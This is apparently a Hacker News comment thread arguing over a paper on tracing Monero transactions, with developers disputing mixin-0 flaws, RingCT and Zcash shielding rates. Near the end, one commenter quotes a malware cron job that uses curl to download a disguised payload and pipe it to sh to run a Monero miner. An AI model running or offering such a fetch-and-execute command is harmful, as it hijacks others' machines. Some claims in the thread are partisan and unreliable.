80% of Monero Transactions Trivially De-Anonymized(ipfs.io)
ipfs.io
80% of Monero Transactions Trivially De-Anonymized
https://ipfs.io/ipfs/QmWYTeggKeL8xBitA8uQWAaNDWfFrUHXAxBXkvmnisdDw7
87 コメント
Andrew Miller does not hide his ties to Zcash; I believe none of the other authors are associated with Zcash. I do not think he needs to recuse himself from academic study of competing currencies, just because he has loose ties to Zcash.
Also, the authors do not hide the fact that the vulnerability is not new. Most science is incremental; I haven't seen any evidence of 'academic dishonesty'.
Also, the authors do not hide the fact that the vulnerability is not new. Most science is incremental; I haven't seen any evidence of 'academic dishonesty'.
> I haven't seen any evidence of 'academic dishonesty'.
How about one of the authors Tweeting out that 80% of the Monero transactions have been deanonymized (https://twitter.com/random_walker/status/852918816455655425), a claim that is neither true nor remotely correct?
This paper is akin to me publishing a paper noting how insecure Windows for Workgroups 3.11 is, providing advice for securing it, and then Tweeting out that that the paper found that "Windows is trivially insecure out the box". Sure, the paper would technically be correct, and my Tweet might even technically be correct, but it would be irrelevant since nobody uses Windows for Workgroups 3.11.
Nobody CAN use mixin-0 transactions in Monero, because they've been banned since a March 2016 hard fork that took over a year for them to plan and roll out. Nobody can be affected by down-chain use of those mixin-0 transactions because RingCT doesn't allow you to create ring sigs form them, which was added in the December 2016 hard fork.
It's no wonder, then, that the paper, and accompanying website, only go up to the end of 2016 - they have no valid data from the beginning of 2017 onwards, and have published the paper seemingly only as a 'hit piece'.
How about one of the authors Tweeting out that 80% of the Monero transactions have been deanonymized (https://twitter.com/random_walker/status/852918816455655425), a claim that is neither true nor remotely correct?
This paper is akin to me publishing a paper noting how insecure Windows for Workgroups 3.11 is, providing advice for securing it, and then Tweeting out that that the paper found that "Windows is trivially insecure out the box". Sure, the paper would technically be correct, and my Tweet might even technically be correct, but it would be irrelevant since nobody uses Windows for Workgroups 3.11.
Nobody CAN use mixin-0 transactions in Monero, because they've been banned since a March 2016 hard fork that took over a year for them to plan and roll out. Nobody can be affected by down-chain use of those mixin-0 transactions because RingCT doesn't allow you to create ring sigs form them, which was added in the December 2016 hard fork.
It's no wonder, then, that the paper, and accompanying website, only go up to the end of 2016 - they have no valid data from the beginning of 2017 onwards, and have published the paper seemingly only as a 'hit piece'.
>The Zcash Foundation will now be endowed with 273,000 zcash, worth more than $13m at press time. As part of the network’s rules, 10% of the cryptocurrency’s mining rewards are automatically awarded to stakeholders.
>The four-person board of directors includes chair and president Andrew Miller, associate director of the Initiative for Cryptocurrencies and Contracts (IC3), and Matthew Green, assistant professor of computer science at Johns Hopkins University.
Source: https://archive.fo/BoxUe
>The four-person board of directors includes chair and president Andrew Miller, associate director of the Initiative for Cryptocurrencies and Contracts (IC3), and Matthew Green, assistant professor of computer science at Johns Hopkins University.
Source: https://archive.fo/BoxUe
This paper is an empirical analysis. The Monero reports introduced a theoretical attack with conditions, e.g. “a critical loss in untraceability across the whole network if parameters are poorly chosen and if an attacker owns a sufficient percentage of the network.”
The news is that our research confirms, for the first time, that this is actually the case, and it affects actual transactions.
The core of this paper's claim seems to be that 0-mixin transactions leave user's exposed, however Monero has since prohibited these types of transactions. So yes, these types of transactions going backwards are exposed, but moving forward they will not be.
This appears to be the Monero's team main response. Am I missing any other substantive arguments from the paper?
This appears to be the Monero's team main response. Am I missing any other substantive arguments from the paper?
I wrote this unofficial response which I feel covers most items: https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng
> Am I missing any other substantive arguments from the paper?
The second half of the paper, "Linking with temporal analysis". If you read the second half of the introduction, you will find that the primary technique they use for tracing 80% of transactions is found in the current version.
The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the potential mixins have already been spent."
The second half of the paper, "Linking with temporal analysis". If you read the second half of the introduction, you will find that the primary technique they use for tracing 80% of transactions is found in the current version.
The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the potential mixins have already been spent."
> The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the potential mixins have already been spent."
That's because RingCT removed the ability to create a ring signature with those outputs, so adding a complex whitelist / blacklist mechanism would have been a massive waste of time.
That's because RingCT removed the ability to create a ring signature with those outputs, so adding a complex whitelist / blacklist mechanism would have been a massive waste of time.
> you will find that the primary technique they use for tracing 80% of transactions is found in the current version.
This is blatantly false, and I implore you to do further research before making and spreading such conclusions.
This is blatantly false, and I implore you to do further research before making and spreading such conclusions.
> The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the potential mixins have already been spent."
I'm not thoroughly familiar with monero's internals, so someone please correct me if I'm wrong, but I thought it was well known that this was a deliberate design decision. Previously spent amounts don't actually run a risk of being double spent as they're only used anonymization purposes, as far as I understand. So why is this is considered "sloppy"?
I'm not thoroughly familiar with monero's internals, so someone please correct me if I'm wrong, but I thought it was well known that this was a deliberate design decision. Previously spent amounts don't actually run a risk of being double spent as they're only used anonymization purposes, as far as I understand. So why is this is considered "sloppy"?
It was a deliberate design decision as the issue was mitigated in a different manner starting in early 2016 (and introducing that check wouldn't be very effective anyway for other reasons).
The results of the mitigation are shown in the paper as Figure 5. The success of the techniques in the paper decline rapidly over the course of 2016 and would effectively reach zero if the dataset were extended (this is noted in the text when it states that RingCT transactions are immune, although even without RingCT it would still effectively reach zero)
The results of the mitigation are shown in the paper as Figure 5. The success of the techniques in the paper decline rapidly over the course of 2016 and would effectively reach zero if the dataset were extended (this is noted in the text when it states that RingCT transactions are immune, although even without RingCT it would still effectively reach zero)
The technique in the second half of the paper is not able to trace any transactions at all, as I explained in more detail in another reply. It identifies a partial weakness in the ring signatures but it is not capable of breaking them.
While they quantify the impact of an older vulnerability, the 80% figure comes from clients who are using the current implementation.
I doubt it; they stop serving data after the beginning of 2017 precisely because RingCT breaks their algorithms.
It is not true that this result was previously known. Please see the section “Comparison with related work on Monero linkability.” in the paper (https://monerolink.com), which starts "We note that earlier reports from Monero Research Labs(MRL-0001 [10] and MRL-0004 [7]) have previously discussed concerns about such deduction, called a “chain-reaction,” based on similar insights as described above. However, our results paint a strikingly different picture than these." and then goes on to show those striking differences in the new results and the previous knowledge.
This response is interesting and worth a read: https://word-view.officeapps.live.com/wv/mWord.aspx?Fi=SD473...
Any chance i could get that as a static document? It seems chrome on linux and microsoft office online don't get along
I wrote this. How would you prefer for it to be uploaded?
Another link: https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng
Another link: https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng
That one worked better, thanks!
This was the first thing I dug up - the reddit discussion is much more informative for a counterpoint https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...
That said, I think the conspiracy theories are a little blown out of proportion. Also the title of this thread should really be changed to the title of the paper.
That said, I think the conspiracy theories are a little blown out of proportion. Also the title of this thread should really be changed to the title of the paper.
Though I'm not disputing the preference for static documents, which Linux and Chrome version are you using? On CentOS 7.3 with Chrome 52 the document looks fine, as it does on the same system with Firefox 52.
Note that the document is unformatted plain text, divided into six pages.
Note that the document is unformatted plain text, divided into six pages.
Chrome 57 on Arch, I couldnt scroll or otherwise move past the first page. Its like the scrollbar was disabled for some reason...
[deleted]
I hope someone actually reads the original Monero Research Lab papers and sees that those papers briefly allude to there being a problem and dismiss it as being a theoretical problem when at the time of the report peoples drugs purchases could and can still be traced. This is an empirical analysis - the first of it's kind with a block explorer, the Monero people should be on their knees thanking the authors of the paper. Instead they are burying their heads in the sand, refusing to admit that they lied when they claimed back in 2015/16 that their currency was untraceable. I'm disgusted to see the flagrant doublethink in the comments here, most people haven't even bothered to read the paper or the MRL reports and are just spouting garbage they've heard via fluffyass.
You couldn't buy drugs with Monero until the end of 2016 when, coincidentally, RingCT was hard-forked in and this paper's entire basis for existence disappeared.
Also two of the Monero Research Lab papers both identify and quantify the problem, and then suggest solutions to it. At no point do the papers dismiss them as theoretical: https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large
MRL-0001 is nearly 7000 words, the entirety of which is devoted to showing how dangerous mixin-0 transactions are (ie. the bulk of this 'empirical analysis' paper). MRL-0004 similarly consists of nearly 7000 words, although this time they don't only have an entire section devoted to "traceability with zero mix-in spending", but they cover knock-on effects of banning them ("change and dust force zero mix spending"). They then identify further issues including "temporal associations", "association by use of outputs within a transaction", and "combinatorial attacks to reveal outputs".
The MRL-0004 paper provides a roadmap to defeating some of these by forcing a minimum ring size, but notes that a perfect output selection strategy could not (at the time as now) be determined. They note that "although we have identified this security issue, we are not making formal recommendations yet until we have further data to inform our choices".
Subsequent to that the Monero developers switched to a triangular distribution for selection, and then more recently they added a %-of-outputs-must-be-recent scheme (I can't recall what %). This, combined with the advent of RingCT, has defeated the claims of the research paper. There is no double-think about older transactions, because nobody could use them for anything of note, and it was during a time when 'fluffyass' kept telling people not use buy Monero (which I believe he continues to do).
Also two of the Monero Research Lab papers both identify and quantify the problem, and then suggest solutions to it. At no point do the papers dismiss them as theoretical: https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large
MRL-0001 is nearly 7000 words, the entirety of which is devoted to showing how dangerous mixin-0 transactions are (ie. the bulk of this 'empirical analysis' paper). MRL-0004 similarly consists of nearly 7000 words, although this time they don't only have an entire section devoted to "traceability with zero mix-in spending", but they cover knock-on effects of banning them ("change and dust force zero mix spending"). They then identify further issues including "temporal associations", "association by use of outputs within a transaction", and "combinatorial attacks to reveal outputs".
The MRL-0004 paper provides a roadmap to defeating some of these by forcing a minimum ring size, but notes that a perfect output selection strategy could not (at the time as now) be determined. They note that "although we have identified this security issue, we are not making formal recommendations yet until we have further data to inform our choices".
Subsequent to that the Monero developers switched to a triangular distribution for selection, and then more recently they added a %-of-outputs-must-be-recent scheme (I can't recall what %). This, combined with the advent of RingCT, has defeated the claims of the research paper. There is no double-think about older transactions, because nobody could use them for anything of note, and it was during a time when 'fluffyass' kept telling people not use buy Monero (which I believe he continues to do).
Also see the complementary block explorer associated with the paper: http://monerolink.com/
We found tens of thousands of transactions that included ten or more mixins but could still be traced.
We found tens of thousands of transactions that included ten or more mixins but could still be traced.
Note: the code to extract this data has not been released to the public alongside the paper.
Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse).
No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.
No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.
> should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse).
Agreed, this should updated to specify that only transactions between shielded addresses are protected. The point they are trying to make is that the anonymity set between shielded addresses is that of all transactions in the anonymous set. (FWIW, this is a pre-publication draft.)
> No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count)
ZCash is pretty explicit about the difference between shielded and transparent addresses....
However, the news here isn't about ZCash. Monero's main claim to fame is that it has an "opaque" blockchain, but this isn't cryptographically ensured. Instead, it relies on each client to create dummy transactions that mirror real ones. That leaves Monero wide open to side channel attacks now and in the future.
One would expect careful analysis and much more cautious language. Instead, it looks like clients weren't even doing basic checks:
> We find that among Monero transaction inputs with one or more mixins, 62% of these are deducible, i.e. they can be incontrovertibly linked to the prior TXO they spend.
It's a solid piece of research and even if Monero fixes everything in this upcoming release, that doesn't make this analysis any less worrying.
Agreed, this should updated to specify that only transactions between shielded addresses are protected. The point they are trying to make is that the anonymity set between shielded addresses is that of all transactions in the anonymous set. (FWIW, this is a pre-publication draft.)
> No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count)
ZCash is pretty explicit about the difference between shielded and transparent addresses....
However, the news here isn't about ZCash. Monero's main claim to fame is that it has an "opaque" blockchain, but this isn't cryptographically ensured. Instead, it relies on each client to create dummy transactions that mirror real ones. That leaves Monero wide open to side channel attacks now and in the future.
One would expect careful analysis and much more cautious language. Instead, it looks like clients weren't even doing basic checks:
> We find that among Monero transaction inputs with one or more mixins, 62% of these are deducible, i.e. they can be incontrovertibly linked to the prior TXO they spend.
It's a solid piece of research and even if Monero fixes everything in this upcoming release, that doesn't make this analysis any less worrying.
> ZCash is pretty explicit about the difference between shielded and transparent addresses....
This is an important point. Having two very distinct addresses (different lengths, different prefixes, different RPC APIs) makes it very obvious to users when they have the benefits of shielded transactions, and when they don't. Thus users make an explicit choice to forgo privacy when they use transparent addresses.
The problem of only 28% of transactions currently being shielded (https://explorer.zcha.in/statistics/network https://explorer.zcha.in/statistics/timeseries?hashrate=fals...) is a separate ecosystem problem, where usage of shielded addresses with third parties (like wallets and exchanges) requires them to use new APIs, instead of just interacting with the new block chain via the Bitcoin API. IIUC Monero has also encountered these issues, and it is something we are both working on improving.
This is an important point. Having two very distinct addresses (different lengths, different prefixes, different RPC APIs) makes it very obvious to users when they have the benefits of shielded transactions, and when they don't. Thus users make an explicit choice to forgo privacy when they use transparent addresses.
The problem of only 28% of transactions currently being shielded (https://explorer.zcha.in/statistics/network https://explorer.zcha.in/statistics/timeseries?hashrate=fals...) is a separate ecosystem problem, where usage of shielded addresses with third parties (like wallets and exchanges) requires them to use new APIs, instead of just interacting with the new block chain via the Bitcoin API. IIUC Monero has also encountered these issues, and it is something we are both working on improving.
Sorry if I'm looking at the data wrong, but this chart suggests less than 5% are shielded https://explorer.zcha.in/statistics/value
Is the chart wrong?
Is the chart wrong?
The chart isn't wrong. It's just measuring something different than the metric str4d is referring to.
Underneath that pie chart, there is a caption: "Transparent value (stored in t-addresses) vs shielded value (stored in z-addresses), in ZEC." In other words, that pie chart shows the number of ZEC that are currently residing in transparent vs shielded addresses at the specific point in time that you load that page.
The Advanced Network Stats page - https://explorer.zcha.in/statistics/network - has a box labelled "Shielded Transaction Percentage", which indicates what percentage of transactions involve a shielded value. You can see more details for different amounts of time on https://explorer.zcha.in/statistics/usage
Underneath that pie chart, there is a caption: "Transparent value (stored in t-addresses) vs shielded value (stored in z-addresses), in ZEC." In other words, that pie chart shows the number of ZEC that are currently residing in transparent vs shielded addresses at the specific point in time that you load that page.
The Advanced Network Stats page - https://explorer.zcha.in/statistics/network - has a box labelled "Shielded Transaction Percentage", which indicates what percentage of transactions involve a shielded value. You can see more details for different amounts of time on https://explorer.zcha.in/statistics/usage
Perhaps it could have something to do with termonology (%value vs %transactions).
For value I get: 42588 / (891015+222753) = 3.8% Shielded Value / (Cumulative Miner's Reward + Cumulative Founder's Reward)
Perhaps it is 28% of transactions are shielded worth only 4% of zec value?
For value I get: 42588 / (891015+222753) = 3.8% Shielded Value / (Cumulative Miner's Reward + Cumulative Founder's Reward)
Perhaps it is 28% of transactions are shielded worth only 4% of zec value?
Note that the number of prior shielded transactions (not the proportion, and not the value) is what is actually relevant to the privacy of new shielded transactions. Roughly speaking, the privacy you get with Zcash is comparable to what you would get with Monero if you could use all previous shielded transactions (over 120000 of them, currently) as mixins. That's why the criticisms of Zcash based on the percentage use of shielding (either by transactions or value) are totally missing the point.
-- Daira Hopwood (Zcash developer)
-- Daira Hopwood (Zcash developer)
The number of note commitments can be found using 'zcash-cli getblockchaininfo' and is currently 301068 commitments, i.e. 150534 JoinSplits (so a bit more than the 120000 I said).
> The point they are trying to make is that the anonymity set between shielded addresses is that of all transactions in the anonymous set.
This way of stating is somewhat questionable in light of the claims in the second half of the paper.
What is shown in the second half of the paper is that all possible sources are not equally likely and this most probably applies to Zcash (and every other coin) as well. In the Figure 1 illustration of Zcash, it is most likely that the rightmost (most recent) arc is the correct one. Of course this can't be stated with certainty in either coin.
Another way of interpreting the trend shown in Figure 8 is that Zcash gains little (though of course it still gains something) from including all transactions in the anonymity set (arbitrarily far to the right) because once one departs from focusing predominantly on the more recent transactions, the effective anonymity set does not grow much.
> Instead, it looks like clients weren't even doing basic checks:
>> We find that among Monero transaction inputs with one or more mixins, 62% of these are deducible, i.e. they can be incontrovertibly linked to the prior TXO they spend.
There are no basic checks that can solve that issue. It was fixed in a different way.
> even if Monero fixes everything in this upcoming release,
Most of the issues in the paper were already addressed in the past, and the paper says this. The remaining issue is the time bias which the paper states has already been improved, but can be improved further.
This way of stating is somewhat questionable in light of the claims in the second half of the paper.
What is shown in the second half of the paper is that all possible sources are not equally likely and this most probably applies to Zcash (and every other coin) as well. In the Figure 1 illustration of Zcash, it is most likely that the rightmost (most recent) arc is the correct one. Of course this can't be stated with certainty in either coin.
Another way of interpreting the trend shown in Figure 8 is that Zcash gains little (though of course it still gains something) from including all transactions in the anonymity set (arbitrarily far to the right) because once one departs from focusing predominantly on the more recent transactions, the effective anonymity set does not grow much.
> Instead, it looks like clients weren't even doing basic checks:
>> We find that among Monero transaction inputs with one or more mixins, 62% of these are deducible, i.e. they can be incontrovertibly linked to the prior TXO they spend.
There are no basic checks that can solve that issue. It was fixed in a different way.
> even if Monero fixes everything in this upcoming release,
Most of the issues in the paper were already addressed in the past, and the paper says this. The remaining issue is the time bias which the paper states has already been improved, but can be improved further.
You're mistaken in saying that it is most likely that the actual note is the most recent one for Zcash. The figure gives a slightly misleading impression because it has to show few enough inputs to fit on the page. The number of possible inputs is the total number of previous shielded notes (before the JoinSplit anchor) that the adversary does not control or know to have been spent. There have been around 129000 JoinSplits so far, each creating two notes; I'll get back to this with a more precise number. In any case, the probability of the actual note being an output from the most recent prior JoinSplit is extremely small, even taking into account recency bias.
Another way of saying this is that in Zcash, the content of a fully shielded transaction does not give an adversary any more information about the possible input distribution than they could guess without seeing the content (i.e. only based on the timestamp and the number of JoinSplits in that transaction). In Monero, the adversary can refine their guess of the distribution based on the inputs that are actually mixed in, and that is what creates the privacy weakness.
Figure 8 does not apply to Zcash, it is specific to Monero, as the caption states.
-- Daira Hopwood (Zcash developer)
Another way of saying this is that in Zcash, the content of a fully shielded transaction does not give an adversary any more information about the possible input distribution than they could guess without seeing the content (i.e. only based on the timestamp and the number of JoinSplits in that transaction). In Monero, the adversary can refine their guess of the distribution based on the inputs that are actually mixed in, and that is what creates the privacy weakness.
Figure 8 does not apply to Zcash, it is specific to Monero, as the caption states.
-- Daira Hopwood (Zcash developer)
Yes you are likely correct that "most recent" being the "most likely" is not accurate. However, there is a distribution and it has a peak. It is certainly not flat, so it is incorrect to say that the entire set constitutes an "effective anonymity set" while at the same time claiming that Monero's ring signatures only have an "effective mixin size" that is smaller than the actual size due to the same non-uniform distribution.
> In Monero, the adversary can refine their guess of the distribution based on the inputs that are actually mixed in, and that is what creates the privacy weakness.
That is not what is claimed in Section 4 of the paper. Section 4 merely indicates that of potential outputs, the time distribution introduces a bias toward the most recent (actually in Monero this might be inaccurate in some cases too: very, very recent might be less likely than merely very recent; the paper does not examine this). In Zerocash the same time distribution bias exists, though across a larger set of potential coins (or notes or whatever it is you call it).
However, very old members of that set are essentially irrelevant as their probability in the distribution is almost certainly extremely low (this is the same reason that more older outputs in Monero are essentially irrelevant).
> In Monero, the adversary can refine their guess of the distribution based on the inputs that are actually mixed in, and that is what creates the privacy weakness.
That is not what is claimed in Section 4 of the paper. Section 4 merely indicates that of potential outputs, the time distribution introduces a bias toward the most recent (actually in Monero this might be inaccurate in some cases too: very, very recent might be less likely than merely very recent; the paper does not examine this). In Zerocash the same time distribution bias exists, though across a larger set of potential coins (or notes or whatever it is you call it).
However, very old members of that set are essentially irrelevant as their probability in the distribution is almost certainly extremely low (this is the same reason that more older outputs in Monero are essentially irrelevant).
As far as I know we've never claimed that the distribution is flat or that the "effective anonymity" is equivalent to a uniform distribution over prior notes (I certainly didn't claim that). One of the advantages of Zcash's approach is that you don't need to know the distribution in order to have a strong privacy claim. As I said, this is because the content of a transaction is not revealed, and so the attacker's advantage is no better than guessing based on their prior knowledge (plus the little information that can be inferred from timestamps and number of JoinSplits in a transaction).
It's the same claim as for semantically secure encryption, for example: no competent cryptographer would claim that encrypting a message implies that the adversary's knowledge of the plaintext distribution is uniform; only that the ciphertext gives the attacker no further information (apart from length, typically) about the distribution.
It's the same claim as for semantically secure encryption, for example: no competent cryptographer would claim that encrypting a message implies that the adversary's knowledge of the plaintext distribution is uniform; only that the ciphertext gives the attacker no further information (apart from length, typically) about the distribution.
The comment to which I replied (not by you) claimed that the anonymity set is all shielded transactions.
It is, in the same sense that the first order anonymity set of Monero transactions is all outputs included in the ring signature which can't be proven implausible (e.g. using the methods in Section 3 of the paper). However, Section 4 of the paper points out that a non-uniform distribution means this is reduced, in practice, to a smaller effective degree. The same method can be used with Zcash to estimate a smaller effective degree since many previous shielded transactions are probabilistically unlikely.
This is certainly not 'deanonymization' or 'tracing' or any such thing, but it isn't that in the Monero case either.
It is, in the same sense that the first order anonymity set of Monero transactions is all outputs included in the ring signature which can't be proven implausible (e.g. using the methods in Section 3 of the paper). However, Section 4 of the paper points out that a non-uniform distribution means this is reduced, in practice, to a smaller effective degree. The same method can be used with Zcash to estimate a smaller effective degree since many previous shielded transactions are probabilistically unlikely.
This is certainly not 'deanonymization' or 'tracing' or any such thing, but it isn't that in the Monero case either.
The number of note commitments can be found using 'zcash-cli getblockchaininfo' and is currently 301068 commitments, i.e. 150534 JoinSplits (so a bit more than the 129000 I said).
What do you mean "if Monero fixes everything"? They already fixed everything, which is why the paper shows the decline in their ability to deduce things, and the paper COMPLETELY STOPS showing data after RingCT went into action.
Perhaps you should familiarise yourself with the papers that Monero themselves published on this in September 2014, and the follow-up in January 2015? Here-
https://lab.getmonero.org/pubs/MRL-0001.pdf
https://lab.getmonero.org/pubs/MRL-0004.pdf
Now the recommendations made in that 2nd paper were only instituted in the v2 hard fork in March 2016, because hard forks are hard and it was their first one, but it doesn't change the fact that they published two papers on it to warn the community, made immediate changes so that updated clients used minimum ring sig sizes, and then hard forked to ban mixin 0. Publishing a paper on an already-discovered and already-solved issue two years later isn't particularly interesting or novel.
Perhaps you should familiarise yourself with the papers that Monero themselves published on this in September 2014, and the follow-up in January 2015? Here-
https://lab.getmonero.org/pubs/MRL-0001.pdf
https://lab.getmonero.org/pubs/MRL-0004.pdf
Now the recommendations made in that 2nd paper were only instituted in the v2 hard fork in March 2016, because hard forks are hard and it was their first one, but it doesn't change the fact that they published two papers on it to warn the community, made immediate changes so that updated clients used minimum ring sig sizes, and then hard forked to ban mixin 0. Publishing a paper on an already-discovered and already-solved issue two years later isn't particularly interesting or novel.
Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Why would this be of interest to anyone studying the anonymity properties of Monero?
.. ask the author. He's the one that put that in the paper. Didn't you read it?
> Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well?
Last I checked virtually none of Zcash's transaction used the anonymous payment feature (presumably because the performance of it is very poor).
So it's plausible that monero transactions could practically end up with a larger anonymity set in absolute terms than zcash (especially for current monero, which has CT and a minimum mixin size).
I think it would be more accurate to say that Zcash, has, as a feature, a way to make anonymous payments, but it is rarely used.
Last I checked virtually none of Zcash's transaction used the anonymous payment feature (presumably because the performance of it is very poor).
So it's plausible that monero transactions could practically end up with a larger anonymity set in absolute terms than zcash (especially for current monero, which has CT and a minimum mixin size).
I think it would be more accurate to say that Zcash, has, as a feature, a way to make anonymous payments, but it is rarely used.
There is nothing preventing memory usage from being brought into the ~250MB range. The performance issues stem from a legacy codebase built by academics and a focus on safety and enterprise features.
>So it's plausible that monero transactions could practically end up with a larger anonymity set in absolute terms than zcash (especially for current monero, which has CT and a minimum mixin size).
No, it isn't. There will always be a transaction graph between accounts, which limits the total number of possible routes between two participants in a trade.
>So it's plausible that monero transactions could practically end up with a larger anonymity set in absolute terms than zcash (especially for current monero, which has CT and a minimum mixin size).
No, it isn't. There will always be a transaction graph between accounts, which limits the total number of possible routes between two participants in a trade.
To correct a minor point, none of the current Zcash code comes from the Zerocash academic prototype. All of the code that had come from the prototype was rewritten before launch (mainly in https://github.com/zcash/zcash/pull/625 ).
Much of the performance issue comes from a single design decision made in Zerocash: to use SHA-256 for the Merkle tree, PRF, and note commitment hashes. We'll be changing this for the Sapling update.
-- Daira Hopwood (Zcash developer)
Much of the performance issue comes from a single design decision made in Zerocash: to use SHA-256 for the Merkle tree, PRF, and note commitment hashes. We'll be changing this for the Sapling update.
-- Daira Hopwood (Zcash developer)
My apologies, I had assumed the codebase was legacy due to some lamentations about not being able to use Rust.
I hope my portrayal of the performance issues was appropriate.
I hope my portrayal of the performance issues was appropriate.
The legacy codebase issue we are lamenting there is just that the code inherited from Bitcoin is in C++. It's of course possible to interface between C++ and Rust, and that's what we're intending to do in future. It would have been risky to try to do that in the code we wrote before launch.
Yes, your portrayal of the performance issues was fine.
Yes, your portrayal of the performance issues was fine.
Here are current stats about shielded and unshielded transactions in the last hour/day/week/month:
https://explorer.zcha.in/statistics/usage
And here historical stats about shielded and unshielded transactions in the most recent 100 blocks over the life of the blockchain so far (about 6 months):
https://explorer.zcha.in/statistics/timeseries?supply=false&...
Note that a big part of the shielded transactions is because coinbases are required by the consensus rules to be shielded when first spent. This was in order to provide a guaranteed privacy-set. If you make a shielded Zcash transaction today there is actually a very large privacy-set of possible previous transactions which could be inputs to your transaction.
In the long run we intend to improve the functionality of Zcash shielded addresses and to deprecate Zcash transparent addresses, so that all transactions are shielded and so that the user experience is simpler.
https://explorer.zcha.in/statistics/usage
And here historical stats about shielded and unshielded transactions in the most recent 100 blocks over the life of the blockchain so far (about 6 months):
https://explorer.zcha.in/statistics/timeseries?supply=false&...
Note that a big part of the shielded transactions is because coinbases are required by the consensus rules to be shielded when first spent. This was in order to provide a guaranteed privacy-set. If you make a shielded Zcash transaction today there is actually a very large privacy-set of possible previous transactions which could be inputs to your transaction.
In the long run we intend to improve the functionality of Zcash shielded addresses and to deprecate Zcash transparent addresses, so that all transactions are shielded and so that the user experience is simpler.
In the next version we'll clarify zcash shielded transactions are optional. Fwiw it's used by 28% of tx according to https://explorer.zcha.in/statistics/network and comments above, not "rarely used"
I'm not certain the source of these shielded transactions but the vast majority of value seems to be in unshielded transactions. Transparent value (unspent TX + unspent block rewards) = 1,070,918 while shielded value = 42,588 or around 4% of all value. That sounds like rarely used for transactions of any value to me.
And how much of that is from miners who immediately cash out move it to a transparent address?
What a coincidence!
Just today at work we've found malware on some of our servers. That malware added this cron job:
/60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh
If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333
See: https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...
Just today at work we've found malware on some of our servers. That malware added this cron job:
/60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh
If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333
See: https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...
For an even bigger coincidence, the new Monero project to add support for I2P is called Kovri, a prefix of your username!
Speaking about criminals using Monero, they've started making ransomware that accepts Monero. As far as I know, they don't for the other supposed-anonymous cryptocurriencies.
With this little script the attacker made ~2700$ in the last five days!
There was Bitcoin malware back when CPU mining was feasible. If memory serves me correctly, someone figured out it would be break-even serving ads with JS bitcoin miners.
Disclaimer: I hold Monero
In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity.
It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not.
They are willing to grease the wheels to success while Monero grows organically instead. This may or may not be a problem for Monero. If they run a smear-campaign on Monero, they could win with their inferior cryptocurrency.
There is a much better/detailed response to the claims made in the paper on Reddit:
https://www.reddit.com/r/Monero/comments/65pon8/monero_linka...
In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity.
It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not.
They are willing to grease the wheels to success while Monero grows organically instead. This may or may not be a problem for Monero. If they run a smear-campaign on Monero, they could win with their inferior cryptocurrency.
There is a much better/detailed response to the claims made in the paper on Reddit:
https://www.reddit.com/r/Monero/comments/65pon8/monero_linka...
>They are willing to grease the wheels to success while Monero grows organically instead.
I'm curious about this. How is this at all a virtue? If you're not willing to hustle to ensure the success of your project, why should anyone make a bet on it? We've seen many times how the technically superior product loses out against the better positioned competitor. So what makes this different?
I'm curious about this. How is this at all a virtue? If you're not willing to hustle to ensure the success of your project, why should anyone make a bet on it? We've seen many times how the technically superior product loses out against the better positioned competitor. So what makes this different?
Honesty matters in money. Without it, you pay frictions for graft. Liquidity vehicles abhor frictions.
Zcash has been crashing for a long while, and stealing 20% of the economy outright is a large part of the reason. Yes, it motivates the miscreants, but that does not imply success.
Zcash has been crashing for a long while, and stealing 20% of the economy outright is a large part of the reason. Yes, it motivates the miscreants, but that does not imply success.
Honesty matters very much.
Marketing also matters.
So honest marketing matters very much. The point of marketing should be to attract attention to useful features of Monero and increase its usefulness by promoting its adoption by third parties that add value (such as wallets, exchanges, merchants, etc.)
The seemingly principled idea that focusing only on tech, and not strategic promotion and collaboration, has resulting in the under adoption or stagnation of many promising technologies.
Marketing also matters.
So honest marketing matters very much. The point of marketing should be to attract attention to useful features of Monero and increase its usefulness by promoting its adoption by third parties that add value (such as wallets, exchanges, merchants, etc.)
The seemingly principled idea that focusing only on tech, and not strategic promotion and collaboration, has resulting in the under adoption or stagnation of many promising technologies.
Regardless of the veracity of your allegations, this paper is a sound empirical analysis. It's a solid piece of research, and it's not surprising that folks from a competing blockchain would be the first to unveil real problems with Monero.
No it isn't, the paper is a re-hash of the work that the Monero team themselves put out in September 2014 and in January 2015.
https://lab.getmonero.org/pubs/MRL-0001.pdf
